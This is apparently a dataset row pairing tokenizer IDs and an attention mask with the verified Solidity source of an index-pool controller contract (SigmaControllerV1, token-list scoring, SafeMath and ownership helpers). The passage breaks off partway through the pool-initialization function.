28756,
2475,
2278,
2683,
24434,
9818,
21084,
2278,
2620,
2581,
2549,
2094,
17465,
8889,
2278,
16086,
23352,
2497,
2487,
2050,
2683,
2683,
2278,
2575,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1016,
1025,
3206,
4748,
10020,
1063,
4769,
4722,
1035,
4748,
10020,
1025,
2724,
4748,
10020,
22305,
2098,
1006,
4769,
2214,
4215,
10020,
1010,
4769,
2047,
4215,
10020,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
3957,
1996,
2783,
8911,
1997,
2023,
3206,
1012,
1013,
1013,
1013,
1030,
2709,
1996,
2783,
8911,
1997,
2023,
3206,
1012,
3853,
2131,
4215,
10020,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
4748,
10020,
1025,
1065,
1013,
1013,
1013,
1030,
5060,
2689,
1996,
8911,
2000,
2022,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,537 | 0x954Fb82051842b4e42256da8A37C7750DF31d6E0 | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
contract ControllerConstants {
// Minimum number of tokens in an index.
uint256 public constant MIN_INDEX_SIZE = 2;
// Maximum number of tokens in an index.
uint256 public constant MAX_INDEX_SIZE = 10;
// Minimum balance for a token (only applied at initialization)
uint256 public constant MIN_BALANCE = 1e6;
// Identifier for the pool initializer implementation on the proxy manager.
bytes32 public constant INITIALIZER_IMPLEMENTATION_ID = keccak256("SigmaPoolInitializerV1.sol");
// Identifier for the unbound token seller implementation on the proxy manager.
bytes32 public constant SELLER_IMPLEMENTATION_ID = keccak256("SigmaUnboundTokenSellerV1.sol");
// Identifier for the index pool implementation on the proxy manager.
bytes32 public constant POOL_IMPLEMENTATION_ID = keccak256("SigmaIndexPoolV1.sol");
// Time between reweigh/reindex calls.
uint256 public constant POOL_REWEIGH_DELAY = 1 weeks;
// The number of reweighs which occur before a pool is re-indexed.
uint8 public constant REWEIGHS_BEFORE_REINDEX = 3;
// TWAP parameters for assessing current price
uint32 public constant SHORT_TWAP_MIN_TIME_ELAPSED = 20 minutes;
uint32 public constant SHORT_TWAP_MAX_TIME_ELAPSED = 2 days;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/* ========== Internal Libraries ========== */
import "../lib/ScoreLibrary.sol";
/* ========== Internal Interfaces ========== */
import "../interfaces/ICirculatingMarketCapOracle.sol";
import "../interfaces/IScoringStrategy.sol";
/* ========== Internal Inheritance ========== */
import "../OwnableProxy.sol";
/**
* @title ScoredTokenLists
* @author d1ll0n
*
* @dev This contract stores token lists sorted and filtered using arbitrary scoring strategies.
*
* Each token list contains an array of tokens, a scoring strategy address, minimum and maximum
* scores for the list, and a mapping for which tokens are included.
*
* A scoring strategy is a smart contract which implements the `getTokenScores`, which scores
* tokens using an arbitrary methodology.
*
* Token lists are sorted in descending order by the scores returned by the list's scoring strategy,
* and filtered according to the minimum/maximum scores.
*
* The contract owner can create a new token list with a metadata hash used to query
* additional details about its purpose and inclusion criteria from IPFS.
*
* The owner can add and remove tokens from the lists.
*/
contract ScoredTokenLists is OwnableProxy {
using ScoreLibrary for address[];
using ScoreLibrary for uint256[];
using ScoreLibrary for uint256;
/* ========== Constants ========== */
// Maximum number of tokens in a token list
uint256 public constant MAX_LIST_TOKENS = 25;
// Uniswap TWAP oracle
IIndexedUniswapV2Oracle public immutable uniswapOracle;
/* ========== Events ========== */
/** @dev Emitted when a new token list is created. */
event TokenListAdded(
uint256 listID,
bytes32 metadataHash,
address scoringStrategy,
uint128 minimumScore,
uint128 maximumScore
);
/** @dev Emitted when a token list is sorted and filtered. */
event TokenListSorted(uint256 listID);
/** @dev Emitted when a token is added to a list. */
event TokenAdded(address token, uint256 listID);
/** @dev Emitted when a token is removed from a list. */
event TokenRemoved(address token, uint256 listID);
/* ========== Structs ========== */
/**
* @dev Token list storage structure.
* @param minimumScore Minimum market cap for included tokens
* @param maximumScore Maximum market cap for included tokens
* @param scoringStrategy Address of the scoring strategy contract used
* @param tokens Array of included tokens
* @param isIncludedToken Mapping of included tokens
*/
struct TokenList {
uint128 minimumScore;
uint128 maximumScore;
address scoringStrategy;
address[] tokens;
mapping(address => bool) isIncludedToken;
}
/* ========== Storage ========== */
// Chainlink or other circulating market cap oracle
ICirculatingMarketCapOracle public circulatingMarketCapOracle;
// Number of categories that exist.
uint256 public tokenListCount;
mapping(uint256 => TokenList) internal _lists;
/* ========== Modifiers ========== */
modifier validTokenList(uint256 listID) {
require(listID <= tokenListCount && listID > 0, "ERR_LIST_ID");
_;
}
/* ========== Constructor ========== */
/**
* @dev Deploy the controller and configure the addresses
* of the related contracts.
*/
constructor(IIndexedUniswapV2Oracle _oracle) public OwnableProxy() {
uniswapOracle = _oracle;
}
/* ========== Configuration ========== */
/**
* @dev Initialize the categories with the owner address.
* This sets up the contract which is deployed as a singleton proxy.
*/
function initialize() public virtual {
_initializeOwnership();
}
/* ========== Permissioned List Management ========== */
/**
* @dev Creates a new token list.
*
* @param metadataHash Hash of metadata about the token list which can
* be distributed on IPFS.
*/
function createTokenList(
bytes32 metadataHash,
address scoringStrategy,
uint128 minimumScore,
uint128 maximumScore
)
external
onlyOwner
{
require(minimumScore > 0, "ERR_NULL_MIN_CAP");
require(maximumScore > minimumScore, "ERR_MAX_CAP");
require(scoringStrategy != address(0), "ERR_NULL_ADDRESS");
uint256 listID = ++tokenListCount;
TokenList storage list = _lists[listID];
list.scoringStrategy = scoringStrategy;
list.minimumScore = minimumScore;
list.maximumScore = maximumScore;
emit TokenListAdded(listID, metadataHash, scoringStrategy, minimumScore, maximumScore);
}
/**
* @dev Adds a new token to a token list.
*
* @param listID Token list identifier.
* @param token Token to add to the list.
*/
function addToken(uint256 listID, address token) external onlyOwner validTokenList(listID) {
TokenList storage list = _lists[listID];
require(
list.tokens.length < MAX_LIST_TOKENS,
"ERR_MAX_LIST_TOKENS"
);
_addToken(list, token);
uniswapOracle.updatePrice(token);
emit TokenAdded(token, listID);
}
/**
* @dev Add tokens to a token list.
*
* @param listID Token list identifier.
* @param tokens Array of tokens to add to the list.
*/
function addTokens(uint256 listID, address[] calldata tokens)
external
onlyOwner
validTokenList(listID)
{
TokenList storage list = _lists[listID];
require(
list.tokens.length + tokens.length <= MAX_LIST_TOKENS,
"ERR_MAX_LIST_TOKENS"
);
for (uint256 i = 0; i < tokens.length; i++) {
address token = tokens[i];
_addToken(list, token);
emit TokenAdded(token, listID);
}
uniswapOracle.updatePrices(tokens);
}
/**
* @dev Remove token from a token list.
*
* @param listID Token list identifier.
* @param token Token to remove from the list.
*/
function removeToken(uint256 listID, address token) external onlyOwner validTokenList(listID) {
TokenList storage list = _lists[listID];
uint256 i = 0;
uint256 len = list.tokens.length;
require(len > 0, "ERR_EMPTY_LIST");
require(list.isIncludedToken[token], "ERR_TOKEN_NOT_BOUND");
list.isIncludedToken[token] = false;
for (; i < len; i++) {
if (list.tokens[i] == token) {
uint256 last = len - 1;
if (i != last) {
address lastToken = list.tokens[last];
list.tokens[i] = lastToken;
}
list.tokens.pop();
emit TokenRemoved(token, listID);
return;
}
}
}
/* ========== Public List Updates ========== */
/**
* @dev Updates the prices on the Uniswap oracle for all the tokens in a token list.
*/
function updateTokenPrices(uint256 listID)
external
validTokenList(listID)
returns (bool[] memory pricesUpdated)
{
pricesUpdated = uniswapOracle.updatePrices(_lists[listID].tokens);
}
/**
* @dev Returns the tokens and scores in the token list for `listID` after
* sorting and filtering the tokens according to the list's configuration.
*/
function sortAndFilterTokens(uint256 listID)
external
validTokenList(listID)
{
TokenList storage list = _lists[listID];
address[] memory tokens = list.tokens;
uint256[] memory marketCaps = IScoringStrategy(list.scoringStrategy).getTokenScores(tokens);
address[] memory removedTokens = tokens.sortAndFilterReturnRemoved(
marketCaps,
list.minimumScore,
list.maximumScore
);
_lists[listID].tokens = tokens;
for (uint256 i = 0; i < removedTokens.length; i++) {
address token = removedTokens[i];
list.isIncludedToken[token] = false;
emit TokenRemoved(token, listID);
}
}
/* ========== Score Queries ========== */
/**
* @dev Returns the tokens and market caps for `catego
*/
function getSortedAndFilteredTokensAndScores(uint256 listID)
public
view
validTokenList(listID)
returns (
address[] memory tokens,
uint256[] memory scores
)
{
TokenList storage list = _lists[listID];
tokens = list.tokens;
scores = IScoringStrategy(list.scoringStrategy).getTokenScores(tokens);
tokens.sortAndFilter(
scores,
list.minimumScore,
list.maximumScore
);
}
/* ========== Token List Queries ========== */
/**
* @dev Returns boolean stating whether `token` is a member of the list `listID`.
*/
function isTokenInlist(uint256 listID, address token)
external
view
validTokenList(listID)
returns (bool)
{
return _lists[listID].isIncludedToken[token];
}
/**
* @dev Returns the array of tokens in a list.
*/
function getTokenList(uint256 listID)
external
view
validTokenList(listID)
returns (address[] memory tokens)
{
tokens = _lists[listID].tokens;
}
/**
* @dev Returns the top `count` tokens and market caps in the list for `listID`
* after sorting and filtering the tokens according to the list's configuration.
*/
function getTopTokensAndScores(uint256 listID, uint256 count)
public
view
validTokenList(listID)
returns (
address[] memory tokens,
uint256[] memory scores
)
{
(tokens, scores) = getSortedAndFilteredTokensAndScores(listID);
require(count <= tokens.length, "ERR_LIST_SIZE");
assembly {
mstore(tokens, count)
mstore(scores, count)
}
}
/**
* @dev Query the configuration values for a token list.
*
* @param listID Identifier for the token list
* @return scoringStrategy Address of the scoring strategy contract used
* @return minimumScore Minimum market cap for an included token
* @return maximumScore Maximum market cap for an included token
*/
function getTokenListConfig(uint256 listID)
external
view
validTokenList(listID)
returns (
address scoringStrategy,
uint128 minimumScore,
uint128 maximumScore
)
{
TokenList storage list = _lists[listID];
scoringStrategy = list.scoringStrategy;
minimumScore = list.minimumScore;
maximumScore = list.maximumScore;
}
function getTokenScores(uint256 listID, address[] memory tokens)
public
view
validTokenList(listID)
returns (uint256[] memory scores)
{
scores = IScoringStrategy(_lists[listID].scoringStrategy).getTokenScores(tokens);
}
/* ========== Token List Utility Functions ========== */
/**
* @dev Adds a new token to a list.
*/
function _addToken(TokenList storage list, address token) internal {
require(!list.isIncludedToken[token], "ERR_TOKEN_BOUND");
list.isIncludedToken[token] = true;
list.tokens.push(token);
}
}
interface IIndexedUniswapV2Oracle {
function updatePrice(address token) external returns (bool);
function updatePrices(address[] calldata tokens) external returns (bool[] memory);
function computeAverageEthForTokens(
address[] calldata tokens,
uint256[] calldata tokenAmounts,
uint256 minTimeElapsed,
uint256 maxTimeElapsed
) external view returns (uint256[] memory);
function computeAverageEthForTokens(
address token,
uint256 tokenAmount,
uint256 minTimeElapsed,
uint256 maxTimeElapsed
) external view returns (uint256);
function computeAverageTokensForEth(
address[] calldata tokens,
uint256[] calldata ethAmounts,
uint256 minTimeElapsed,
uint256 maxTimeElapsed
) external view returns (uint256[] memory);
function computeAverageTokensForEth(
address token,
uint256 ethAmount,
uint256 minTimeElapsed,
uint256 maxTimeElapsed
) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
/* ========== External Libraries ========== */
import "@openzeppelin/contracts/math/SafeMath.sol";
library ScoreLibrary {
using SafeMath for uint256;
// Default total weight for a pool.
uint256 internal constant WEIGHT_MULTIPLIER = 25e18;
function computeProportionalAmounts(uint256 total, uint256[] memory scores)
internal
pure
returns(uint256[] memory values)
{
uint256 sum;
uint256 len = scores.length;
values = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
sum = sum.add(scores[i]);
}
uint256 denormalizedSum = sum * 1e18;
uint256 denormalizedTotal = total * 1e18;
for (uint256 i = 0; i < len; i++) {
values[i] = scores[i].mul(denormalizedTotal).div(denormalizedSum);
}
}
function computeDenormalizedWeights(uint256[] memory values)
internal
pure
returns (uint96[] memory weights)
{
uint256 sum;
uint256 len = values.length;
weights = new uint96[](len);
for (uint256 i = 0; i < len; i++) {
sum = sum.add(values[i]);
}
for (uint256 i = 0; i < len; i++) {
weights[i] = _safeUint96(values[i].mul(WEIGHT_MULTIPLIER).div(sum));
}
}
/**
* @dev Given a list of tokens and their scores, sort by scores
* in descending order, and filter out the tokens with scores that
* are not within the min/max bounds provided.
*/
function sortAndFilter(
address[] memory tokens,
uint256[] memory scores,
uint256 minimumScore,
uint256 maximumScore
) internal pure {
uint256 len = tokens.length;
for (uint256 i = 0; i < len; i++) {
uint256 cap = scores[i];
address token = tokens[i];
if (cap > maximumScore || cap < minimumScore) {
token = tokens[--len];
cap = scores[len];
scores[i] = cap;
tokens[i] = token;
i--;
continue;
}
uint256 j = i - 1;
while (int(j) >= 0 && scores[j] < cap) {
scores[j + 1] = scores[j];
tokens[j + 1] = tokens[j];
j--;
}
scores[j + 1] = cap;
tokens[j + 1] = token;
}
if (len != tokens.length) {
assembly {
mstore(tokens, len)
mstore(scores, len)
}
}
}
/**
* @dev Given a list of tokens and their scores, sort by scores
* in descending order, and filter out the tokens with scores that
* are not within the min/max bounds provided.
* This function also returns the list of removed tokens.
*/
function sortAndFilterReturnRemoved(
address[] memory tokens,
uint256[] memory scores,
uint256 minimumScore,
uint256 maximumScore
) internal pure returns (address[] memory removed) {
uint256 removedIndex = 0;
uint256 len = tokens.length;
removed = new address[](len);
for (uint256 i = 0; i < len; i++) {
uint256 cap = scores[i];
address token = tokens[i];
if (cap > maximumScore || cap < minimumScore) {
removed[removedIndex++] = token;
token = tokens[--len];
cap = scores[len];
scores[i] = cap;
tokens[i] = token;
i--;
continue;
}
uint256 j = i - 1;
while (int(j) >= 0 && scores[j] < cap) {
scores[j + 1] = scores[j];
tokens[j + 1] = tokens[j];
j--;
}
scores[j + 1] = cap;
tokens[j + 1] = token;
}
if (len != tokens.length) {
assembly {
mstore(tokens, len)
mstore(scores, len)
mstore(removed, removedIndex)
}
}
}
function _safeUint96(uint256 x) internal pure returns (uint96 y) {
y = uint96(x);
require(y == x, "ERR_MAX_UINT96");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ICirculatingMarketCapOracle {
function getCirculatingMarketCap(address) external view returns (uint256);
function getCirculatingMarketCaps(address[] calldata) external view returns (uint256[] memory);
function updateCirculatingMarketCaps(address[] calldata) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
interface IScoringStrategy {
function getTokenScores(address[] calldata tokens) external view returns (uint256[] memory scores);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This is a modified implementation of OpenZeppelin's Ownable.sol.
* The modifications allow the contract to be inherited by a proxy's logic contract.
* Any owner-only functions on the base implementation will be unusable.
*
* By default, the owner account will be a null address which can be set by the
* first call to {initializeOwner}. This can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner. It also makes the function {initializeOwner} available to be used
* in the initialization function for the inherited contract.
*
* Note: This contract should only be inherited by proxy implementation contracts
* where the implementation will only ever be used as the logic address for proxies.
* The constructor permanently locks the owner of the implementation contract, but the
* owner of the proxies can be configured by the first caller.
*/
contract OwnableProxy is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
_owner = address(1);
emit OwnershipTransferred(address(0), address(1));
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
// Modified from OZ contract - sets owner to address(1) to prevent
// _initializeOwnership from being called after ownership is revoked.
emit OwnershipTransferred(_owner, address(1));
_owner = address(1);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Initializes the contract setting the initializer as the initial owner.
* Note: Owner address must be zero.
*/
function _initializeOwnership() internal {
require(_owner == address(0), "Ownable: owner has already been initialized");
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Initializes the contract setting the owner to an invalid address.
* This ensures that the contract can never be owned, and should only be used
* in the constructor of a proxy's implementation contract.
* Note: Owner address must be zero.
*/
function _lockImplementationOwner() internal {
require(_owner == address(0), "Ownable: owner has already been initialized");
emit OwnershipTransferred(address(0), address(1));
_owner = address(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/* ========== External Interfaces ========== */
import "@indexed-finance/proxies/contracts/interfaces/IDelegateCallProxyManager.sol";
/* ========== External Libraries ========== */
import "@indexed-finance/proxies/contracts/SaltyLib.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/* ========== Internal Interfaces ========== */
import "../interfaces/IIndexPool.sol";
import "../interfaces/IPoolFactory.sol";
import "../interfaces/IPoolInitializer.sol";
import "../interfaces/IUnboundTokenSeller.sol";
/* ========== Internal Inheritance ========== */
import "./ScoredTokenLists.sol";
import "./ControllerConstants.sol";
/**
* @title SigmaControllerV1
* @author d1ll0n
* @dev This contract is used to deploy and manage index pools.
* It implements the methodology for rebalancing and asset selection, as well as other
* controls such as pausing public swaps and managing fee configuration.
*
* ===== Pool Configuration =====
* When an index pool is deployed, it is assigned a token list and a target size.
*
* The token list is the set of tokens and configuration used for selecting and weighting
* assets, which is detailed in the documentation for the ScoredTokenLists contract.
*
* The size is the target number of underlying assets held by the pool, it is used to determine
* which assets the pool will hold.
*
* The list's scoring strategy is used to assign weights.
*
* ===== Asset Selection =====
* When the pool is deployed and when it is re-indexed, the top assets from the pool's token list
* are selected using the index size. They are selected after sorting the token list in descending
* order by the scores of tokens.
*
* ===== Rebalancing =====
* Every week, pools are either re-weighed or re-indexed.
* They are re-indexed once for every three re-weighs.
* The contract owner can also force a reindex out of the normal schedule.
*
* Re-indexing involves re-selecting the top tokens from the pool's token list using the pool's index
* size, assigning target weights and setting balance targets for new tokens.
*
* Re-weighing involves assigning target weights to only the tokens already included in the pool.
*
* ===== Toggling Swaps =====
* The contract owner can set a circuitBreaker address which is allowed to toggle public swaps on index pools.
* The contract owner also has the ability to toggle swaps.
*
* ===== Fees =====
* The contract owner can change the swap fee on index pools, and can change the premium paid on swaps in the
* unbound token seller contracts.
*/
contract SigmaControllerV1 is ScoredTokenLists, ControllerConstants {
using SafeMath for uint256;
/* ========== Constants ========== */
// Pool factory contract
IPoolFactory public immutable poolFactory;
// Proxy manager & factory
IDelegateCallProxyManager public immutable proxyManager;
// Exit fee recipient for the index pools
address public immutable defaultExitFeeRecipient;
/* ========== Events ========== */
/** @dev Emitted when a pool is initialized and made public. */
event PoolInitialized(
address pool,
address unboundTokenSeller,
uint256 listID,
uint256 indexSize
);
/** @dev Emitted when a pool and its initializer are deployed. */
event NewPoolInitializer(
address pool,
address initializer,
uint256 listID,
uint256 indexSize
);
/* ========== Structs ========== */
/**
* @dev Data structure with metadata about an index pool.
*
* Includes the number of times a pool has been either reweighed
* or re-indexed, as well as the timestamp of the last such action.
*
* To reweigh or re-index, the last update must have occurred at
* least `POOL_REWEIGH_DELAY` seconds ago.
*
* If `++index % REWEIGHS_BEFORE_REINDEX + 1` is 0, the pool will
* re-index, otherwise it will reweigh.
*
* The struct fields are assigned their respective integer sizes so
* that solc can pack the entire struct into a single storage slot.
* `reweighIndex` is intended to overflow, `listID` will never
* reach 2**16, `indexSize` is capped at 10 and it is unlikely that
* this protocol will be in use in the year 292277026596 (unix time
* for 2**64 - 1).
*
* @param initialized Whether the pool has been initialized with the
* starting balances.
* @param listID Token list identifier for the pool.
* @param indexSize Number of tokens the pool should hold.
* @param reweighIndex Number of times the pool has either re-weighed or re-indexed
* @param lastReweigh Timestamp of last pool re-weigh or re-index
*/
struct IndexPoolMeta {
bool initialized;
uint16 listID;
uint8 indexSize;
uint8 reweighIndex;
uint64 lastReweigh;
}
/* ========== Storage ========== */
// Default slippage rate for token seller contracts.
uint8 public defaultSellerPremium;
// Metadata about index pools
mapping(address => IndexPoolMeta) public indexPoolMetadata;
// Address able to halt swaps
address public circuitBreaker;
/* ========== Modifiers ========== */
modifier isInitializedPool(address poolAddress) {
require(
indexPoolMetadata[poolAddress].initialized,
"ERR_POOL_NOT_FOUND"
);
_;
}
modifier onlyInitializer(address poolAddress) {
require(
msg.sender == computeInitializerAddress(poolAddress),
"ERR_NOT_PRE_DEPLOY_POOL"
);
_;
}
/* ========== Constructor ========== */
/**
* @dev Deploy the controller and configure the addresses
* of the related accounts.
*/
constructor(
IIndexedUniswapV2Oracle uniswapOracle_,
IPoolFactory poolFactory_,
IDelegateCallProxyManager proxyManager_,
address defaultExitFeeRecipient_
)
public
ScoredTokenLists(uniswapOracle_)
{
poolFactory = poolFactory_;
proxyManager = proxyManager_;
defaultExitFeeRecipient = defaultExitFeeRecipient_;
}
/* ========== Initializer ========== */
/**
* @dev Initialize the controller with the owner address and default seller premium.
* This sets up the controller which is deployed as a singleton proxy.
*/
function initialize(address circuitBreaker_) public {
super.initialize();
defaultSellerPremium = 2;
circuitBreaker = circuitBreaker_;
}
/* ========== Configuration ========== */
/**
* @dev Sets the default premium rate for token seller contracts.
*/
function setDefaultSellerPremium(uint8 _defaultSellerPremium) external onlyOwner {
require(_defaultSellerPremium > 0 && _defaultSellerPremium < 20, "ERR_PREMIUM");
defaultSellerPremium = _defaultSellerPremium;
}
/**
* @dev Sets the circuit breaker address allowed to toggle public swaps.
*/
function setCircuitBreaker(address circuitBreaker_) external onlyOwner {
circuitBreaker = circuitBreaker_;
}
/* ========== Pool Deployment ========== */
/**
* @dev Deploys an index pool and a pool initializer.
* The initializer contract is a pool with specific token
* balance targets which gives pool tokens in the finished
* pool to users who provide the underlying tokens needed
* to initialize it.
*/
function prepareIndexPool(
uint256 listID,
uint256 indexSize,
uint256 initialWethValue,
string calldata name,
string calldata symbol
)
external
onlyOwner
returns (address poolAddress, address initializerAddress)
{
require(indexSize >= MIN_INDEX_SIZE, "ERR_MIN_INDEX_SIZE");
require(indexSize <= MAX_INDEX_SIZE, "ERR_MAX_INDEX_SIZE");
require(initialWethValue < uint144(-1), "ERR_MAX_UINT144");
poolAddress = poolFactory.deployPool(
POOL_IMPLEMENTATION_ID,
keccak256(abi.encodePacked(listID, indexSize))
);
IIndexPool(poolAddress).configure(address(this), name, symbol);
indexPoolMetadata[poolAddress] = IndexPoolMeta({
initialized: false,
listID: uint16(listID),
indexSize: uint8(indexSize),
lastReweigh: 0,
reweighIndex: 0
});
initializerAddress = proxyManager.deployProxyManyToOne(
INITIALIZER_IMPLEMENTATION_ID,
keccak256(abi.encodePacked(poolAddress))
);
IPoolInitializer initializer = IPoolInitializer(initializerAddress);
// Get the initial tokens and balances for the pool.
(address[] memory tokens, uint256[] memory balances) = getInitialTokensAndBalances(
listID,
indexSize,
uint144(initialWethValue)
);
initializer.initialize(address(this), poolAddress, tokens, balances);
emit NewPoolInitializer(
poolAddress,
initializerAddress,
listID,
indexSize
);
}
/**
* @dev Initializes a pool which has been deployed but not initialized
* and transfers the underlying tokens from the initialization pool to
* the actual pool.
*
* The actual weights assigned to tokens is calculated based on the
* relative values of the acquired balances, rather than the initial
* weights computed from the token scores.
*/
function finishPreparedIndexPool(
address poolAddress,
address[] calldata tokens,
uint256[] calldata balances
)
external
onlyInitializer(poolAddress)
{
uint256 len = tokens.length;
require(balances.length == len, "ERR_ARR_LEN");
IndexPoolMeta memory meta = indexPoolMetadata[poolAddress];
require(!meta.initialized, "ERR_INITIALIZED");
uint256[] memory ethValues = uniswapOracle.computeAverageEthForTokens(
tokens,
balances,
SHORT_TWAP_MIN_TIME_ELAPSED,
SHORT_TWAP_MAX_TIME_ELAPSED
);
uint96[] memory denormalizedWeights = ethValues.computeDenormalizedWeights();
address sellerAddress = proxyManager.deployProxyManyToOne(
SELLER_IMPLEMENTATION_ID,
keccak256(abi.encodePacked(poolAddress))
);
IIndexPool(poolAddress).initialize(
tokens,
balances,
denormalizedWeights,
msg.sender,
sellerAddress,
defaultExitFeeRecipient
);
IUnboundTokenSeller(sellerAddress).initialize(
address(this),
poolAddress,
defaultSellerPremium
);
meta.lastReweigh = uint64(now);
meta.initialized = true;
indexPoolMetadata[poolAddress] = meta;
emit PoolInitialized(
poolAddress,
sellerAddress,
